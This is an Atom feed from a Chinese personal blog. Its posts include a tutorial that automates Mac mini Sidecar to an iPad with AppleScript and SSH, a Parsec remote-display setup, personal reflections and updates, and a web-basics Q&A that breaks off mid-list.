<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>Zhuazikun</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://3322888.xyz/</id>
  <link href="https://3322888.xyz/" rel="alternate"/>
  <link href="https://3322888.xyz/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, Zhuazikun</rights>
  <subtitle>但行好事，莫問前程</subtitle>
  <title>Roryn blog</title>
  <updated>2025-12-21T19:11:21.830Z</updated>
  <entry>
    <author>
      <name>Zhuazikun</name>
    </author>
    <category term="教程" scheme="https://3322888.xyz/tags/%E6%95%99%E7%A8%8B/"/>
    <category term="Macmini" scheme="https://3322888.xyz/tags/Macmini/"/>
    <category term="随航" scheme="https://3322888.xyz/tags/%E9%9A%8F%E8%88%AA/"/>
    <content>
      <![CDATA[<h3 id="随航-iPad：Mac-mini-iPad-移动工作流"><a href="#随航-iPad：Mac-mini-iPad-移动工作流" class="headerlink" title="随航 iPad：Mac mini + iPad 移动工作流"></a>随航 iPad：Mac mini + iPad 移动工作流</h3><ul><li><strong>设备</strong>：Mac mini + iPad</li><li><strong>实现目标</strong>：将 iPad 打造为 Mac mini 的随身屏幕。相比 Parsec，苹果官方随航（Sidecar）支持 Apple Pencil，且基于 VideoToolbox 底层架构，分辨率和延迟表现更好。</li><li><strong>关键词</strong>：苹果设备联动、iPad无感随航、Mac mini便携性提升、副屏</li></ul><hr><h4 id="详细实现步骤"><a href="#详细实现步骤" class="headerlink" title="详细实现步骤"></a>详细实现步骤</h4><p><strong>1. 自动登陆系统</strong><br>用于开机自动进入 Mac，无需手动登录账号。</p><blockquote><p><strong>操作</strong>：设置 - 用户与群组 - 添加群组 - 设置自动以此身份登陆</p></blockquote><p><strong>2. 开启远程登录 (SSH)</strong><br>用于 SSH 连接，让 iPad 通过快捷指令唤起 Mac。</p><blockquote><p><strong>操作</strong>：设置 - 通用 - 共享 - 远程登录 (开启) - 选择刚刚添加的群组<br><em>(注意：确保密码相同且正确，别错选 Administrator)</em></p></blockquote><p><strong>3. 关闭锁屏和休眠</strong><br>防止因锁屏导致无法用 iPad 直接唤起随航（有屏幕的同学请自行把握）。</p><blockquote><p><strong>操作</strong>：设置 - 锁定屏幕 - 将可设置的 3 项改为“永不”</p></blockquote><p><strong>4. 安装 BetterDisplay (关键)</strong><br>极为重要，必须虚拟出屏幕才能启用随航。</p><ul><li><strong>下载</strong>：<a class="link"   href="https://github.com/waydabber/BetterDisplay/releases/tag/v4.1.1" >GitHub - BetterDisplay<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li><strong>操作</strong>：打开 dmg 将图标拖入 Applications 文件夹。打开软件，新建一个虚拟屏幕（比例任意，只用于启用随航）。</li></ul><p><strong>5. 完善 BetterDisplay 设置</strong></p><blockquote><p><strong>操作</strong>：设置 - 显示器 - 右侧加号 - 镜像 iPad - 再选择虚拟显示器 - 用作（iPad 镜像）<br><em>(如果没有出现 iPad，尝试推出 iCloud 但保留本地副本后重登，或连接数据线尝试)</em></p></blockquote><p><strong>6. 设置 Mac 端快捷指令</strong><br>用于自动启用随航（代码见下方）。</p><blockquote><p><strong>操作</strong>：</p><ol><li>创建快捷指令 - 运行 AppleScript - 授予所有权限（可用右上角开始键测试）。</li><li>将此快捷指令添加到程序坞 - 右键 - 在访达中显示 - 拖入左侧“应用程序 (Applications)”文件夹。</li><li>在“启动台”检查是否移动成功。</li></ol></blockquote><p><strong>7. iPad 端设置快捷指令</strong><br>用于 SSH 连接 Mac 并运行上面的指令。</p><blockquote><p><strong>操作</strong>：添加“通过 SSH 运行脚本”</p><ul><li><strong>代码</strong>：<code>open -a &quot;/Applications/Mac上的快捷指令名称.app&quot;</code> (注意路径)</li><li><strong>主机</strong>：填写 Mac 的本地主机名 (在 Mac 设置-通用-共享中查看)</li><li><strong>用户</strong>：填写群组名字，密码同上</li></ul></blockquote><hr><h4 id="注意事项与代码"><a href="#注意事项与代码" class="headerlink" title="注意事项与代码"></a>注意事项与代码</h4><ul><li><strong>连接技巧</strong>：如果在无屏幕情况下无法启动，用数据线连接 Mac 和 iPad，长按 Mac 开机键强制关机，重启后等 10s 再开启随航。</li><li><strong>操作手势</strong>：双指滚动，捏合缩放，三指点击调出剪切板，更多操作建议配合 Pencil。</li></ul><p><strong>Mac 端快捷指令代码 (AppleScript)</strong><br><em>(请直接复制，不要修改)</em></p><div class="code-container" data-rel="Applescript"><figure class="iseeu highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 自定义函数：从后往前找最后一个匹配项的索引</span></span><br><span class="line"><span class="keyword">on</span> findLastTargetIndex(targetItem, itemList)</span><br><span class="line">    <span class="keyword">set</span> lastIndex <span class="keyword">to</span> <span class="number">0</span></span><br><span class="line">    <span class="keyword">repeat</span> <span class="keyword">with</span> i <span class="keyword">from</span> (<span class="built_in">count</span> <span class="keyword">of</span> itemList) <span class="keyword">to</span> <span class="number">1</span> <span class="keyword">by</span> <span class="number">-1</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">item</span> i <span class="keyword">of</span> itemList <span class="keyword">is</span> targetItem <span class="keyword">then</span></span><br><span class="line">            <span class="keyword">set</span> lastIndex <span class="keyword">to</span> i</span><br><span class="line">            <span class="keyword">exit</span> <span class="keyword">repeat</span></span><br><span class="line">        <span class="keyword">end</span> <span class="keyword">if</span></span><br><span class="line">    <span class="keyword">end</span> <span class="keyword">repeat</span></span><br><span class="line"><span class="built_in">    return</span> lastIndex</span><br><span class="line"><span class="keyword">end</span> findLastTargetIndex</span><br><span class="line"></span><br><span class="line"><span class="built_in">beep</span> <span class="number">1</span></span><br><span class="line"><span class="built_in">beep</span> <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">tell</span> <span class="built_in">application</span> <span class="string">&quot;System Settings&quot;</span></span><br><span class="line">    <span class="built_in">activate</span></span><br><span class="line">    <span class="built_in">delay</span> <span class="number">2</span> <span class="comment">-- 增加初始等待，确保窗口完全打开</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">tell</span> <span class="built_in">application</span> <span class="string">&quot;System Events&quot;</span></span><br><span class="line">        <span class="keyword">tell</span> process <span class="string">&quot;System Settings&quot;</span></span><br><span class="line">            click menu <span class="built_in">item</span> <span class="string">&quot;显示器&quot;</span> <span class="keyword">of</span> menu <span class="string">&quot;显示&quot;</span> <span class="keyword">of</span> menu bar <span class="built_in">item</span> <span class="string">&quot;显示&quot;</span> <span class="keyword">of</span> menu bar <span class="number">1</span></span><br><span class="line">            <span class="built_in">delay</span> <span class="number">1</span></span><br><span class="line">            </span><br><span class="line">            <span class="keyword">tell</span> group <span class="number">1</span> <span class="keyword">of</span> group <span class="number">2</span> <span class="keyword">of</span> splitter group <span class="number">1</span> <span class="keyword">of</span> group <span class="number">1</span> <span class="keyword">of</span> window <span class="string">&quot;显示器&quot;</span></span><br><span class="line">                <span class="keyword">try</span></span><br><span class="line">                    <span class="keyword">set</span> buttonFound <span class="keyword">to</span> <span class="literal">false</span></span><br><span class="line">                    <span class="keyword">set</span> timeoutSeconds <span class="keyword">to</span> <span class="number">10</span></span><br><span class="line">                    <span class="keyword">set</span> startTime <span class="keyword">to</span> <span class="built_in">current date</span></span><br><span class="line">                    <span class="keyword">repeat</span></span><br><span class="line">                        <span class="keyword">try</span></span><br><span class="line">                            <span class="keyword">set</span> addButton <span class="keyword">to</span> pop up button <span class="string">&quot;添加&quot;</span></span><br><span class="line">                            <span class="keyword">set</span> buttonFound <span class="keyword">to</span> <span class="literal">true</span></span><br><span class="line">                            <span class="keyword">exit</span> <span class="keyword">repeat</span></span><br><span class="line">                        <span class="keyword">on</span> <span class="keyword">error</span></span><br><span class="line">                            <span class="keyword">if</span> (<span class="built_in">current date</span>) - startTime &gt; timeoutSeconds <span class="keyword">then</span></span><br><span class="line">                                <span class="built_in">say</span> <span class="string">&quot;超时：未找到“添加”按钮&quot;</span></span><br><span class="line"><span class="built_in">                                return</span></span><br><span class="line">                            <span class="keyword">end</span> <span class="keyword">if</span></span><br><span class="line">                            <span class="built_in">delay</span> <span class="number">0.5</span></span><br><span class="line">                        <span class="keyword">end</span> <span class="keyword">try</span></span><br><span class="line">                    <span class="keyword">end</span> <span class="keyword">repeat</span></span><br><span class="line">                    </span><br><span class="line">                    <span class="keyword">if</span> buttonFound <span class="keyword">then</span></span><br><span class="line">                        click addButton</span><br><span class="line">                        <span class="built_in">delay</span> <span class="number">0.5</span></span><br><span class="line">                        </span><br><span class="line">                        <span class="comment">-- 获取菜单项</span></span><br><span class="line">                        <span class="keyword">tell</span> pop up button <span class="string">&quot;添加&quot;</span></span><br><span class="line">                            <span class="keyword">set</span> menuItems <span class="keyword">to</span> <span class="built_in">name</span> <span class="keyword">of</span> menu items <span class="keyword">of</span> menu <span class="number">1</span></span><br><span class="line">                        <span class="keyword">end</span> <span class="keyword">tell</span></span><br><span class="line">                        </span><br><span class="line">                        <span class="keyword">set</span> targetIndex <span class="keyword">to</span> (<span class="keyword">my</span> findLastTargetIndex(<span class="string">&quot;NameiPad&quot;</span>, menuItems))</span><br><span class="line">                        <span class="comment">-- NameiPad：是你的Mac名称要修改</span></span><br><span class="line">                        <span class="keyword">if</span> targetIndex &gt; <span class="number">0</span> <span class="keyword">then</span></span><br><span class="line">                            <span class="comment">-- 关键修复：点击前激活窗口，确保焦点正确</span></span><br><span class="line">                            <span class="keyword">tell</span> <span class="built_in">application</span> <span class="string">&quot;System Settings&quot;</span> <span class="keyword">to</span> <span class="built_in">activate</span></span><br><span class="line">                            <span class="built_in">delay</span> <span class="number">0.5</span></span><br><span class="line">                            </span><br><span class="line">                            <span class="comment">-- 点击目标菜单项</span></span><br><span class="line">                            <span class="keyword">tell</span> pop up button <span class="string">&quot;添加&quot;</span></span><br><span class="line">                                click menu <span class="built_in">item</span> targetIndex <span class="keyword">of</span> menu <span class="number">1</span></span><br><span class="line">                            <span class="keyword">end</span> <span class="keyword">tell</span></span><br><span class="line">                            </span><br><span class="line">                            <span class="comment">-- 等待 Continuity 完成连接（这是解决“无法连接”的关键）</span></span><br><span class="line">                            <span class="built_in">delay</span> <span class="number">3</span></span><br><span class="line">                            </span><br><span class="line">                            <span class="built_in">say</span> <span class="string">&quot;已点击连接 NameiPad，请等待镜像启动&quot;</span></span><br><span class="line">                        <span class="keyword">else</span></span><br><span class="line">                            <span class="built_in">say</span> <span class="string">&quot;未找到设备：NameiPad&quot;</span></span><br><span class="line">                        <span class="keyword">end</span> <span class="keyword">if</span></span><br><span class="line">                    <span class="keyword">end</span> <span class="keyword">if</span></span><br><span class="line">                <span class="keyword">on</span> <span class="keyword">error</span> errMsg <span class="built_in">number</span> errNum</span><br><span class="line">                    <span class="built_in">say</span> <span class="string">&quot;发生错误：&quot;</span> &amp; errMsg</span><br><span class="line"><span class="built_in">                    return</span></span><br><span class="line">                <span class="keyword">end</span> <span class="keyword">try</span></span><br><span class="line">            <span class="keyword">end</span> <span class="keyword">tell</span></span><br><span class="line">        <span class="keyword">end</span> <span class="keyword">tell</span></span><br><span class="line">    <span class="keyword">end</span> <span class="keyword">tell</span></span><br><span class="line"><span class="keyword">end</span> <span class="keyword">tell</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">delay</span> <span class="number">1</span></span><br><span class="line"><span class="built_in">beep</span> <span class="number">1</span></span><br><span class="line"><span class="keyword">tell</span> <span class="built_in">application</span> <span class="string">&quot;System Settings&quot;</span> <span class="keyword">to</span> quit</span><br></pre></td></tr></table></figure></div><p><strong>iPad 端 SSH 设置参考</strong></p><ul><li><strong>脚本内容</strong>：<code>open -a &quot;/Applications/连接iPad.app&quot;</code><br><em>(注：请将“连接iPad.app”替换为你实际生成的 App 名称)</em></li><li><strong>主机</strong>：<code>你的mac名字.local</code></li><li><strong>端口</strong>：<code>22</code></li><li><strong>认证</strong>：密码</li></ul>]]>
    </content>
    <id>https://3322888.xyz/2025/12/22/Macmini-iPad%E6%97%A0%E6%84%9F%E9%9A%8F%E8%88%AA%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B-%E7%BB%88%E6%9E%81%E7%89%88/</id>
    <link href="https://3322888.xyz/2025/12/22/Macmini-iPad%E6%97%A0%E6%84%9F%E9%9A%8F%E8%88%AA%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B-%E7%BB%88%E6%9E%81%E7%89%88/"/>
    <published>2025-12-21T18:48:31.000Z</published>
    <summary>
      <![CDATA[<h3 id="随航-iPad：Mac-mini-iPad-移动工作流"><a href="#随航-iPad：Mac-mini-iPad-移动工作流" class="headerlink" title="随航 iPad：Mac mini + iPad 移动工作流"></a>随航]]>
    </summary>
    <title>Macmini+iPad无感随航进阶使用教程(终极版)</title>
    <updated>2025-12-21T19:11:21.830Z</updated>
  </entry>
  <entry>
    <author>
      <name>Zhuazikun</name>
    </author>
    <category term="爱好" scheme="https://3322888.xyz/categories/%E7%88%B1%E5%A5%BD/"/>
    <category term="电子设备" scheme="https://3322888.xyz/tags/%E7%94%B5%E5%AD%90%E8%AE%BE%E5%A4%87/"/>
    <category term="MacOS" scheme="https://3322888.xyz/tags/MacOS/"/>
    <content>
      <![CDATA[<h2 id="Welcome-Mac-！"><a href="#Welcome-Mac-！" class="headerlink" title="Welcome Mac ！"></a>Welcome Mac ！</h2><p>在拼多多V3会员下成功以2999RMB拿下这个小玩具，太小巧了，往桌面一放就是一个小摆件。<br>但是我现在手上是没有显示屏只能用笔记本来替代，为了解决这个问题我就开启mac的第一次折腾：<br> 现在实现的场景就是：macmini在统一局域网下我的windows笔记本可以通过parsec软件直接做到从开机到连接笔记本实现无感连接，在笔记本上面直接就是双系统美滋滋～<br> <img                       lazyload                     src="/images/loading.svg"                     data-src="/2025/12/21/Macmini4/IMG20251220144026.jpg"                      class="" title="Parsec连接"                ><br>这里简单讲解下实现的步骤：<br>1、在Windows和Mac mini安装Parsec(下载地址 <a class="link"   href="https://parsec.app),这里直接用邮箱注册但是记得登录的时候要再次用邮箱去验证登录设备/" >https://parsec.app)，这里直接用邮箱注册但是记得登录的时候要再次用邮箱去验证登录设备<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a><br>2、前期应该准备 视频采集卡 以及 HDMI线 为初步登录账户和安装软件做准备<br>3、笔记本端用OBS去收集mac的屏幕，准备前面的工作</p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2025/12/21/Macmini4/IMG_2363.JPG"                      class="" title="准备线材"                ><p>4、在Parsec软件中设置连接的设置Setting- Host-Enable，macOS给予三种权限<br>5、Mac OS中设置锁屏不休眠以及开机自动登录账号<br>6、回到笔记本上面可以看到Parsec中在同一个局域网中出现mac设备，当然要是没有的话，先去查路由表找到dynamic活动的IP地址，这里要注意的是普遍Wi-Fi中会有2.4G和5G两种频率的信号，记得在mac里Wi-Fi关闭自动连接任意一个频率，确保是连在同一个频率下就行<br>7、arp -a 扫出IP地址，ssh先去连接：ssh <a class="link"   href="mailto:&#122;&#x68;&#117;&#x7a;&#105;&#x6b;&#x75;&#x6e;&#x40;&#49;&#57;&#50;&#46;&#x31;&#54;&#x38;&#46;&#x31;&#x2e;&#49;&#x31;" >zhuzikun@192.168.1.11<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> 输入密码成功连接到Mac系统<br>8、打开Parsec一般会自动reload，也可以手动，Connect连接上，修改下屏幕分辨率为1920*1080铺满整个屏幕<br>  后续优化可能就是申请IPv4绑定上域名实现远程连接，不过这个使用场景肯定是要回归显示器的，不然发挥不了这台mac的实力。这样只是解决了macmini在外出使用没有显示器的一些办法。<br>  当然你也还有其他选择比如：购买便捷显示屏（500左右）、支持Dp-in的平板、iPad镜像或则随航功能，但是我尝试过用不了可能是ios14版本太低了这个问题解决不了<br>  好的以上就是我第一次购买macmini的一些帮助和建议</p><img                       lazyload                     src="/images/loading.svg"                     data-src="/2025/12/21/Macmini4/IMG_2367.JPG"                      class="" title="耳机联通"                ><img                       lazyload                     src="/images/loading.svg"                     data-src="/2025/12/21/Macmini4/IMG_2368.JPG"                      class="" title="娱乐"                >]]>
    </content>
    <id>https://3322888.xyz/2025/12/21/Macmini4/</id>
    <link href="https://3322888.xyz/2025/12/21/Macmini4/"/>
    <published>2025-12-21T02:36:57.000Z</published>
    <summary>
      <![CDATA[<h2 id="Welcome-Mac-！"><a href="#Welcome-Mac-！" class="headerlink" title="Welcome Mac ！"></a>Welcome Mac ！</h2><p>在拼多多V3会员下成功以2999RMB拿下这个小玩具]]>
    </summary>
    <title>Macmini4</title>
    <updated>2026-05-10T12:35:39.573Z</updated>
  </entry>
  <entry>
    <author>
      <name>Zhuazikun</name>
    </author>
    <category term="工作随笔" scheme="https://3322888.xyz/categories/%E5%B7%A5%E4%BD%9C%E9%9A%8F%E7%AC%94/"/>
    <category term="工作" scheme="https://3322888.xyz/tags/%E5%B7%A5%E4%BD%9C/"/>
    <category term="沉浸时间" scheme="https://3322888.xyz/tags/%E6%B2%89%E6%B5%B8%E6%97%B6%E9%97%B4/"/>
    <category term="学习" scheme="https://3322888.xyz/tags/%E5%AD%A6%E4%B9%A0/"/>
    <category term="未来" scheme="https://3322888.xyz/tags/%E6%9C%AA%E6%9D%A5/"/>
    <content>
      <![CDATA[<hr><h2 id="段永平的采访"><a href="#段永平的采访" class="headerlink" title="段永平的采访"></a>段永平的采访</h2><p>段的成长经历好像说的与普通人一样平淡，但是唯一能看出来的一点是他对周遭环境的抱怨很少。在谈及家庭的时候，聊到父母给予到的无条件的爱（但是也可以从侧面来说，父母对他的管教来说只是告诉他人生的哪些是不可违的，其他的一些都是段自己去不断学习的）像是这样的人的学习一般是远远好于普通人的。沉下心来学习是非常有用的，还有要不断反思学习的一些方法。<br>还有在谈及自己创业的历程，简单来说就是坚持底线以及理念，去吸引到有相同的理念的人一起合作。</p><hr><h2 id="华为集训营"><a href="#华为集训营" class="headerlink" title="华为集训营"></a>华为集训营</h2><p>在华为集训营中我也学到了“如何进行学习”而非传统学校的教学，要在一天的学习中总结，可以使用无纸化，不必局限于在纸质笔记本上记录。<br>“思维导图” 将你学习的知识串联起来，帮助理清思路<br>以及培训机构的简单组成：有会营销的杨，精通网络运维，安全的郭<br>人生就是不断学习，然后将学习的成果应用到下一个人生阶段中<br>选择计算机，那么请你保持不断学习的习惯。</p>]]>
    </content>
    <id>https://3322888.xyz/2025/11/13/%E9%97%B2%E6%9A%87%E6%97%B6%E5%80%99%E7%9A%84%E6%84%9F%E6%83%B3/</id>
    <link href="https://3322888.xyz/2025/11/13/%E9%97%B2%E6%9A%87%E6%97%B6%E5%80%99%E7%9A%84%E6%84%9F%E6%83%B3/"/>
    <published>2025-11-13T15:54:01.000Z</published>
    <summary>
      <![CDATA[<hr>
<h2 id="段永平的采访"><a href="#段永平的采访" class="headerlink" title="段永平的采访"></a>段永平的采访</h2><p>段的成长经历好像说的与普通人一样平淡，但是唯一能看出来的一点是他对周遭环境的抱怨很少。在谈及家庭的]]>
    </summary>
    <title>闲暇时候的感想</title>
    <updated>2025-11-13T16:15:46.559Z</updated>
  </entry>
  <entry>
    <author>
      <name>Zhuazikun</name>
    </author>
    <category term="生活随笔" scheme="https://3322888.xyz/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="随笔" scheme="https://3322888.xyz/tags/%E9%9A%8F%E7%AC%94/"/>
    <category term="阅读" scheme="https://3322888.xyz/tags/%E9%98%85%E8%AF%BB/"/>
    <category term="数码" scheme="https://3322888.xyz/tags/%E6%95%B0%E7%A0%81/"/>
    <category term="足球" scheme="https://3322888.xyz/tags/%E8%B6%B3%E7%90%83/"/>
    <content>
      <![CDATA[<hr><h2 id="📝-前言"><a href="#📝-前言" class="headerlink" title="📝 前言"></a>📝 前言</h2><p>很久没写博客了，最近脑袋昏昏沉沉。换季的缘故，感冒、头疼、发热、咳嗽、流鼻涕——一样没落下。<br>于是趁着休息，随便写点近况，也当作生活的记录。  </p><hr><h2 id="📚-Kindle-PaperWhite-3"><a href="#📚-Kindle-PaperWhite-3" class="headerlink" title="📚 Kindle PaperWhite 3"></a>📚 Kindle PaperWhite 3</h2><p>最近购入了 <strong>Kindle PaperWhite 3</strong>，298￥入手，也算是重新拾起读物了。<br>买它的最大原因还是 <strong>护眼需求</strong> —— 每天长时间盯屏幕，导致我有点干眼症状。  </p><ul><li>单手握持很方便  </li><li>阅读体验比手机、平板更沉浸  </li><li>看漫画《薫る花は凜と咲く》虽然屏幕稍小，但依旧很棒</li></ul><!-- 图片插入：Kindle 正面照 --><img                       lazyload                     src="/images/loading.svg"                     data-src="/2025/09/08/%E8%BF%91%E5%86%B5%EF%BC%882025-9%EF%BC%89/fff233f1f2bc22e89fd25765d1afbd0.jpg"                      class="" title="Kindle"                ><p>而且还能安静下来读一读旧书，比如克莱尔·麦克福尔的《摆渡人》。<br>这种久违的静心阅读，让人安心。</p><hr><h2 id="📱-Redmi-K30S-至尊版-HyperOS"><a href="#📱-Redmi-K30S-至尊版-HyperOS" class="headerlink" title="📱 Redmi K30S 至尊版 &amp; HyperOS"></a>📱 Redmi K30S 至尊版 &amp; HyperOS</h2><p>给我的 <strong>红米 K30S 至尊版</strong> 刷上了 <strong>A15 + HyperOS 2.0.216</strong>。<br>这里必须要夸赞下包的作者 <em>RRedCell 红色细胞</em>，刷机方式比以往方便许多：  </p><ul><li>直接脚本执行，相当于自动调用 <strong>miflash</strong>  </li><li>对小白用户更友好</li></ul><p><strong>关于 HyperOS 2.0.216：</strong>  </p><blockquote><p>应该是 OS2 的最完善版本，但也不是没有 Bug。<br>OS3 已经发布，不过我暂时没有兴趣尝试，等更稳定再说吧。  </p></blockquote><p>发现的 Bug 示例：  </p><ul><li>热点启用失败  </li><li>组件失效  </li><li>部分软件不兼容  </li><li>电源键亮屏不会唤醒系统 &gt;_&lt;</li></ul><!-- 图片插入：系统截图 --><hr><h2 id="⚽-关于足球"><a href="#⚽-关于足球" class="headerlink" title="⚽ 关于足球"></a>⚽ 关于足球</h2><p>突然发现，我已经很久没有真正花时间去踢一场足球赛了。<br>上一次还是在 <strong>小学六年级</strong>，当时还拿过县里的 <strong>第四名奖状</strong>。  </p><p>时间过去那么久，依旧缺少一次“重返绿茵地”的机会。<br>看着别人踢球时的场景，心中很触动：  </p><ul><li>控球流畅  </li><li>停球精准  </li><li>过人潇洒  </li><li>射门凌厉  </li><li>甚至头球都干净利落</li></ul><!-- 图片插入：足球场景 --><p>或许，下一次我要亲自踏上草坪，感受久违的奔跑与激情。  </p><hr><h2 id="💡-结语"><a href="#💡-结语" class="headerlink" title="💡 结语"></a>💡 结语</h2><p>这一周，算是小小的总结：  </p><ul><li>身体要慢慢调养  </li><li>阅读重新拾起  </li><li>系统折腾了一下  </li><li>想踢一场足球</li></ul><p>有些东西正在回归，有些东西值得期待。<br>希望下一次写博客时，能带来更多积极的故事。</p>]]>
    </content>
    <id>https://3322888.xyz/2025/09/08/%E8%BF%91%E5%86%B5%EF%BC%882025-9%EF%BC%89/</id>
    <link href="https://3322888.xyz/2025/09/08/%E8%BF%91%E5%86%B5%EF%BC%882025-9%EF%BC%89/"/>
    <published>2025-09-07T16:04:44.000Z</published>
    <summary>
      <![CDATA[<hr>
<h2 id="📝-前言"><a href="#📝-前言" class="headerlink" title="📝 前言"></a>📝 前言</h2><p>很久没写博客了，最近脑袋昏昏沉沉。换季的缘故，感冒、头疼、发热、咳嗽、流鼻涕——一样没落下。<br>于是趁]]>
    </summary>
    <title>近况（2025.9）</title>
    <updated>2025-09-07T16:14:39.850Z</updated>
  </entry>
  <entry>
    <author>
      <name>Zhuazikun</name>
    </author>
    <category term="每周一问" scheme="https://3322888.xyz/tags/%E6%AF%8F%E5%91%A8%E4%B8%80%E9%97%AE/"/>
    <content>
      <![CDATA[<p>大家好，欢迎来到新一期的“每周一问”。本期我们继续探讨一些有趣且基础的技术问题。</p><h2 id="问题一：Web-语言技术的核心是什么？"><a href="#问题一：Web-语言技术的核心是什么？" class="headerlink" title="问题一：Web 语言技术的核心是什么？"></a>问题一：Web 语言技术的核心是什么？</h2><p>Web 语言的核心就是根据用户的需求提供相应的服务，本质上来说和社会经济学一样。</p><p>出现多种的语言与三个方面有关：</p><ul><li><strong>需求</strong>：不同的应用场景（如前端交互、后端逻辑、数据处理、人工智能等）催生了对特定功能和性能语言的需求。</li><li><strong>学习难度</strong>：语言的设计是否易于上手，语法是否简洁，会影响其流行程度和开发者群体的规模。</li><li><strong>社区</strong>：一个活跃的开发者社区能够提供丰富的库、框架、工具和支持，极大地推动语言的发展和应用。</li></ul><p>这些语言的区别是：</p><h3 id="1-特性不同："><a href="#1-特性不同：" class="headerlink" title="1.  特性不同："></a>1.  <strong>特性不同</strong>：</h3><p>体现在语言的语法、内置函数、类型系统、并发模型、内存管理方式以及可用的框架和生态系统。这些特性直接影响了语言适合解决的问题域和开发效率。例如，Python 以其简洁易读和丰富的科学计算库著称，而 JavaScript 凭借其在浏览器端的统治地位和 Node.js 的出现，在全栈开发中非常流行。</p><h3 id="2-设计取舍："><a href="#2-设计取舍：" class="headerlink" title="2.  设计取舍："></a>2.  <strong>设计取舍</strong>：</h3><p>在设计语言时，往往需要在不同目标之间做出权衡。例如，是追求极致的运行性能（如 C++, Rust），还是开发效率和易用性（如 Python, Ruby）；是静态类型检查带来的编译期安全（如 Java, Go, TypeScript），还是动态类型的灵活性（如 Python, JavaScript）。这些取舍使得不同语言在特定方面表现突出。</p><h3 id="3-语言风格与哲学："><a href="#3-语言风格与哲学：" class="headerlink" title="3.  语言风格与哲学："></a>3.  <strong>语言风格与哲学</strong>：</h3><p>每种语言背后都有其设计哲学，这影响了其编码风格和社区文化。例如，Python 的“人生苦短，我用Python”（Zen of Python）强调代码的简洁和可读性；Java 的“一次编写，到处运行”（Write Once, Run Anywhere）强调跨平台性。地域文化有时也会间接影响社区的交流方式和特定工具的偏好，但语言本身的风格更多是由其设计者和核心社区塑造的。</p><h2 id="问题二：域名和子域名的关系以及如何管理？"><a href="#问题二：域名和子域名的关系以及如何管理？" class="headerlink" title="问题二：域名和子域名的关系以及如何管理？"></a>问题二：域名和子域名的关系以及如何管理？</h2><p>（这里就直接引用 AI 的回答，我觉得回答的还行）</p><h3 id="一、域名-Domain-Name-和子域名-Subdomain-的关系"><a href="#一、域名-Domain-Name-和子域名-Subdomain-的关系" class="headerlink" title="一、域名 (Domain Name) 和子域名 (Subdomain) 的关系"></a>一、域名 (Domain Name) 和子域名 (Subdomain) 的关系</h3><p>想象一个地址系统：</p><p><strong>域名 (Domain Name)</strong>：可以看作是你网站或在线服务的主要地址，是你花钱注册的核心标识。例如：<code>example.com</code>。</p><p>它由两部分或更多部分组成，用点 (<code>.</code>) 分隔：</p><ul><li>最右边的部分是<strong>顶级域名 (TLD - Top-Level Domain)</strong>，如 <code>.com</code>, <code>.org</code>, <code>.net</code>, <code>.cn</code>, <code>.io</code> 等。</li><li>TLD 左边的部分是<strong>二级域名 (SLD - Second-Level Domain)</strong>，这通常是你选择并注册的部分，如 <code>example</code>。</li><li>有时候也会有三级域名，例如在国家代码顶级域名 (ccTLD) 下，如 <code>example.co.uk</code>，这里 <code>.co</code> 是在 <code>.uk</code> 下的二级域。</li></ul><p><strong>子域名 (Subdomain)</strong>：是主域名下的一个分支或特定区域。它在主域名的左边添加一个或多个标签，并用点 (<code>.</code>) 分隔。子域名可以让你将网站的不同部分或不同服务组织起来，并赋予它们独立的地址。</p><p>例如，对于主域名 <code>example.com</code>，以下是一些子域名：</p><ul><li><code>blog.example.com</code> (可能用于博客)</li><li><code>shop.example.com</code> (可能用于电商商店)</li><li><code>support.example.com</code> 